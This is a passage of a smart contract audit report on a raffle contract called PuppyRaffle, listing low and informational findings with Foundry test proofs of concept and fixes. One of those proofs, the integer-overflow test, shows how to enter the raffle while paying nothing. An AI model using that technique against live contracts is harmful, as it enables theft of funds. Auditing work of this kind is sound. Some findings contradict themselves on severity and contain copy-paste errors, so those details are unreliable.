The logic in this function returns `0` as the default, which is as stated in the @return NatSpec. However, this can create an issue when the calling logic checks the value and naturally assumes `0` is a valid index that points to the first element in the array. When the players array has at two or more players, calling PuppyRaffle::refund() with the incorrect index will result in a normal revert with the message "PuppyRaffle: Only the player can refund", which is fine and obviously expected.

On the other hand, in the event a user attempts to perform a PuppyRaffle::refund() before a player has been added the EvmError will likely cause an outrageously large gas fee to be charged to the user.

This test case can demonstrate the issue:

```
function testRefundWhenIndexIsOutOfBounds() public {
    int256 playerIndex = puppyRaffle.getActivePlayerIndex(playerOne);
    vm.prank(playerOne);
    puppyRaffle.refund(uint256(playerIndex));
}
```

The results of running this one test show about 9 ETH in gas:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: EvmError: Revert] testRefundWhenIndexIsOutOfBounds() (gas: 9079256848778899449)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 914.01µs
```

Additionally, in the very unlikely event that the first player to have entered attempts to preform a PuppyRaffle::refund() for another user who has not already entered the raffle, they will unwittingly refund their own entry. A scenario whereby this might happen would be if playerOne entered the raffle for themselves and 10 friends. Thinking that nonPlayerEleven had been included in the original list and has subsequently requested a PuppyRaffle::refund(). Accommodating the request, playerOne gets the index for nonPlayerEleven. Since the address does not exist as a player, `0` is returned to playerOne who then calls PuppyRaffle::refund(), thereby refunding their own entry.

PUPPY RAFFLE-11: Missing WinnerSelected/FeesWithdrawn event emition in PuppyRaffle::selectWinner/PuppyRaffle::withdrawFees methods.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for tracking this off-chain.

IMPACT:

REMEDIATION: Add a WinnerSelected event that takes as parameter the currentWinner and the minted token id and emit this event in PuppyRaffle::selectWinner right after the call to _safeMing_
Add a FeesWithdrawn event that takes as parameter the amount withdrawn and emit this event in PuppyRaffle::withdrawFees right at the end of the method

PUPPY RAFFLE-12: Participants are mislead by the rarity chances.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: The drop chances defined in the state variables section for the COMMON and LEGENDARY are misleading.

IMPACT: Depending on the info presented, the raffle participants might be lied with respect to the chances they have to draw a legendary NFT.

REMEDIATION: Drop the = sign from both conditions:

```
--      if (rarity <= COMMON_RARITY) {
++      if (rarity < COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
--      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
++      } else if (rarity < COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

PROOF OF CONCEPT:

The 3 rarity scores are defined as follows:

```
uint256 public constant COMMON_RARITY = 70;
uint256 public constant RARE_RARITY = 25;
uint256 public constant LEGENDARY_RARITY = 5;
```

This implies that out of a really big number of NFT's, 70% should be of common rarity, 25% should be of rare rarity and the last 5% should be legendary. The selectWinners function doesn't implement these numbers.

```
    uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
    if (rarity <= COMMON_RARITY) {
        tokenIdToRarity[tokenId] = COMMON_RARITY;
    } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
        tokenIdToRarity[tokenId] = RARE_RARITY;
    } else {
        tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
    }
```

The rarity variable in the code above has a possible range of values within [0;99] (inclusive) This means that rarity <= COMMON_RARITY condition will apply for the interval [0:70], the rarity <= COMMON_RARITY + RARE_RARITY condition will apply for the [71:95] rarity and the rest of the interval [96:99] will be of LEGENDARY_RARITY

The [0:70] interval contains 71 numbers (70 - 0 + 1)

The [71:95] interval contains 25 numbers (95 - 71 + 1)

The [96:99] interval contains 4 numbers (99 - 96 + 1)

This means there is a 71% chance someone draws a COMMON NFT, 25% for a RARE NFT and 4% for a LEGENDARY NFT.

PUPPY RAFFLE-13: PuppyRaffle::selectWinner() - L126: should use > instead of >=, because raffleStartTime + raffleDuration still represents an active raffle.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: In the PuppyRaffle::selectWinner() function, it's advisable to replace the condition >= with >. The raffle officially concludes when block.timestamp exceeds raffleStartTime + raffleDuration. Since block timestamps don't consistently occur every second, there's a risk that block.timestamp might be equal to raffleStartTime + raffleDuration while the raffle is still technically active, especially when using >=. To ensure the raffle is truly over, it's recommended to use the condition > raffleStartTime + raffleDuration.

IMPACT: Edge case where winner is selected at the same time the raffle is technically still active, as well as selecting winner in same block as when raffle ends.
Deemed low for now but I suspect it could be a medium risk issue, especially if we start involving miners/mev bots who intentionally target this "vulnerability".

REMEDIATION:

```
require(block.timestamp > raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

PUPPY RAFFLE-14: Total entrance fee can overflow leading to the user paying little to nothing.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: Calling PuppyRaffle::enterRaffle with many addresses results in the user paying a very little fee and gaining an unproportional amount of entries.

IMPACT: This is a critical high-severity vulnerability as anyone could enter multiple addresses and pay no fee, gaining an unfair advantage in this lottery.
Not only does the player gain an advantage in the lottery. The player could also just refund all of his positions and gain financially.

REMEDIATION: Revert the function call if entranceFee * newPlayers.length exceeds the uint256 limit. Using Open Zeppelin's SafeMath library is also an option.
Generally it is recommended to use a newer solidity version as over-/underflows are checked by default in solidity >=0.8.0.

PROOF OF CONCEPT:

PuppyRaffle::enterRaffle does not check for an overflow. If a user inputs many addresses that multiplied with entranceFee would exceed type(uint256).max the checked amount for msg.value overflows back to 0.

```
function enterRaffle(address[] memory newPlayers) public payable {
=>  require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
    ...
```

To see for yourself, you can paste this function into PuppyRaffleTest.t.sol and run forge test --mt testCanEnterManyAndPayLess.

```
function testCanEnterManyAndPayLess() public {
        uint256 entranceFee = type(uint256).max / 2 + 1; // half of max value
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );

        address[] memory players = new address[](2); // enter two players
        players[0] = playerOne;
        players[1] = playerTwo;

        puppyRaffle.enterRaffle{value: 0}(players); // user pays no fee
    }
```

This solidity test provides an example for an entranceFee that is slightly above half the max uint256 value. The user can input two addresses and pay no fee. You could imagine the same working with lower base entrance fees and a longer address array.

PUPPY RAFFLE-15: Fee should be 'totalAmountCollected-prizePool' to prevent decimal loss.

SEVERITY: LOW

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: fee should be 'totalAmountCollected-prizePool' to prevent decimal loss

IMPACT: By calculates fee like the formula above can cause a loss in totalAmountCollected' if the prizePool` is rounded.

REMEDIATION:

```
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 fee = totalAmountCollected-prizePool;
```

PROOF OF CONCEPT:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

This formula calculates fee should be 'totalAmountCollected-prizePool'.

PUPPY RAFFLE-16: Consider declaring functions as external rather than public.

SEVERITY: INFORMATIONAL

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: For all functions declared as `public`, the input parameters are automatically copied into memory, and this costs gas. If your function is only called externally, you must mark it with `external` visibility. The parameters of external functions are not copied into memory, but read directly from the calldata. This small optimisation can save a lot of gas if the input parameters of the function are huge.

The functions affected are:

`enterRaffle()`

`refund()`

`tokenURI()`

IMPACT: GAS Saving

REMEDIATION: Change the visibility to external

PUPPY RAFFLE-17: ++i Costs Less Gas Than i++, Especially When It's Used In For-loops.

SEVERITY: INFORMATIONAL

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: There is a 5 gas cost difference between ++i and i++ in favour of the former. The contract uses i++ in these functions:

`enterRaffle()` , i++ but also j++

`getActivePlayerIndex()`

`_isActivePlayer()`

IMPACT: GAS Saving

REMEDIATION: Replace all i++ and j++ with ++i and ++j.

PUPPY RAFFLE-18: Set variables as immutable.

SEVERITY: INFORMATIONAL

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: There is a 5 gas cost difference between ++i and i++ in favour of the former. The To Set the variables which value will no change during the contract helps to sabe a lot of gas

In Solidity, variables which are not intended to be updated should be constant or immutable.

The Solidity compiler does not reserve a storage slot for constant or immutable variables and instead replaces every occurrence of these variables with their assigned value in the contract's bytecode so we do not need to do SLOAD operations to access these variables.

Variables affected:

`raffleDuration`

`raffleStartTime`

IMPACT: GAS Saving

REMEDIATION: Set `raffleDuration` and `raffleStartTime` as immutables.

PUPPY RAFFLE-19: Repeated access to the loop break condition.

SEVERITY: INFORMATIONAL

PATH: src/01-PasswordStore/PuppyRaffle.sol

SUMMARY: There are a few functions that have a loop that checks the length of an array on each iteration:

`enterRaffle()`

`getActivePlayerIndex()`

`_isActivePlayer()`

In these cases, the length of the array is continuously accessed on each iteration, which involves a reading on the corresponding mapping. To avoid the constant access to the storage, it is recommended to store the length in a variable and use it in the loop.

IMPACT: GAS Saving

REMEDIATION: Store the length of the arrays in memory before the loop and use that variable instead of accessing the array length on every iteration.